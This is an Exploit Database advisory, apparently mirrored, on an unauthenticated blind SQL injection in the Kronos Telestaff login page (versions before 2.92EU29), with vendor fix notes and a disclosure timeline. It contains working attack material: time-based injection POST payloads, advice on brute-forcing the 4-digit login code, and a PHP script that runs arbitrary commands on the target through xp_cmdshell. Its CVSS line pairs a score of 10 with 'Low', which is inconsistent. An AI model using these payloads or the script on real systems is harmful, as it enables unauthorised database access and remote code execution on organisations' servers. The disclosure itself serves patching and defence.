Kronos Telestaff < 2.92EU29 - SQL Injection

• Exploit Database
• 20 阅读

• 作者： Goran Tuzovic
  日期： 2017-06-05
• 类别：

  • webapps
  平台：

  • asp
• 来源：https://www.exploit-db.com/exploits/42127/

• Software: Kronos Telestaff Web Application
  Version: < 2.92EU29
  Homepage: http://www.kronos.com/
  CERT VU: VU#958480
  CVE: (Pending)
  CVSS: 10 (Low; AV:N/AC:L/Au:N/C:C/I:C/A:C)
  CWE: CWE-89 
  Vulnerable Component: Login page 
  
  Description
  ================
  The login form is vulnerable to blind SQL injection by an unauthenticated user.
  
  
  Vulnerabilities
  ================
  The vulnerability is due to the unsanitized POST parameter 'user' in login page:
  URL: [BASE URL OF Telestaff Application]/servlet/ServletController.asp
  POSTDATA=device=stdbrowser&action=doLogin&user=&pwd=&code=
  
  The exploit requires a valid "code" in the post body.However in almost all instances we found on the internet, the "code" POST variable was hard-coded into the page.Furthermore, the "code" POST variable is very often a 4 digit number - and can be easily discovered in ~5000 requests. 
  
   
  Proof of concept
  ================
  PoC 1 - extract data from database
  example extract benign data e.g. 
  Injection Point:[BASE URL OF Telestaff Application]/servlet/ServletController.asp
  POST data: 
  device=stdbrowser&action=doLogin&user=')if(DB_NAME()='TELESTAFF')waitfor%20delay'00%3a00%3a12';--&pwd=&code=<valid code>
  
  compare timing with
  
  device=stdbrowser&action=doLogin&user=')if(DB_NAME()<>'TELESTAFF')waitfor%20delay'00%3a00%3a12';--&pwd=&code=<valid code>
  
  
  PoC 2 - Execute Code Remotely
  example inject benign code e.g. ping a remote systems
  
  <?php
  	$cmd_to_execute = strToHex("ping -n 1 receive_ping_host");// insert you own host here to detect dns lookup and/or ping; or insert other command 
  	$code=XXXX // insert valid code
  	$target_url= // insert login page url of target system i.e. example.com/webstaff-2.0/servlet/ServletController.asp?device=stdbrowser&action=doLogin&selfhosted=true
  	$payload="DECLARE @lphda VARCHAR(280);SET @lphda=".$cmd_to_execute.";EXEC master..xp_cmdshell @lphda";
  	$payload=str_replace(" ","%20",$payload);
  	$postdata="device=stdbrowser&action=doLogin&user=')".$payload."---&pwd=test&code=".$code;
  
  	$ch = curl_init();
  	curl_setopt($ch, CURLOPT_URL, $target_url);
  	curl_setopt($ch, CURLOPT_POST, TRUE);
  	curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
  	curl_exec($ch);
  
  	function strToHex($string){
  	$hex = '';
  	for ($i=0; $i<strlen($string); $i++){
  		$ord = ord($string[$i]);
  		$hexCode = dechex($ord);
  		$hex .= substr('0'.$hexCode, -2);
  	}
  	return "0x".strToUpper($hex);
  	}
  
  	
  Affected Systems
  ================
  From Vendor:
  Customers running TeleStaff version 2.x with Self Hosted Web Access, those customers who host their own web access, are affected and Kronos recommends that you upgrade to TeleStaff 2.92EU29 or Workforce TeleStaff.
  
  
  Solution
  ================
  From Vendor:
  
  Though there is no further action needed after the installation of the update there are a couple of best practices that we suggest to further secure the production environment.
  	1. We recommend that the Web Staff Middle Tier be locked down to only be accessed from the source addresses.For Self-Hosted Web Access this would be the Internet facing IIS server hosting the Self Hosted WebStaff module. For customers using WebStaff (www.telestaff.net) and PSM (psm.telestaff.net and m.telestaff.net) those are the IP addresses of the Kronos servers.
  	2. Customers, once configured, should remove the viewDatabases.asp script to avoid accidental information leakage to unauthorized users.
  
  	
  Timeline
  ================
  2015-12-18: Discovered
  2016-01-04: Contacted Vendor
  2016-01-11: Report sent to vendor 
  2016-01-20: Received acknowledgement of vulnerable from security contact info at vendor
  2016-01-20: Vendor is remediating the issue 
  2016-10-18: Vendor issues patch
  2017-06-01: Public disclosure
   
  
  Discovered by
  ================
  Chris Anastasio 0x616e6173746173696f [ at ] illumant.com
  Mark F. Snodgrass0x736e6f646772617373 [ at ] illumant.com
  
  
  About Illumant
  ================
  Illumant has conducted thousands of security assessment and compliance engagements, helping over 800 clients protect themselves from cyber-attacks.Through meticulous manual analysis, Illumant helps companies navigate the security and threat landscape to become more secure, less of a target, and more compliant.For more information, visit https://illumant.com/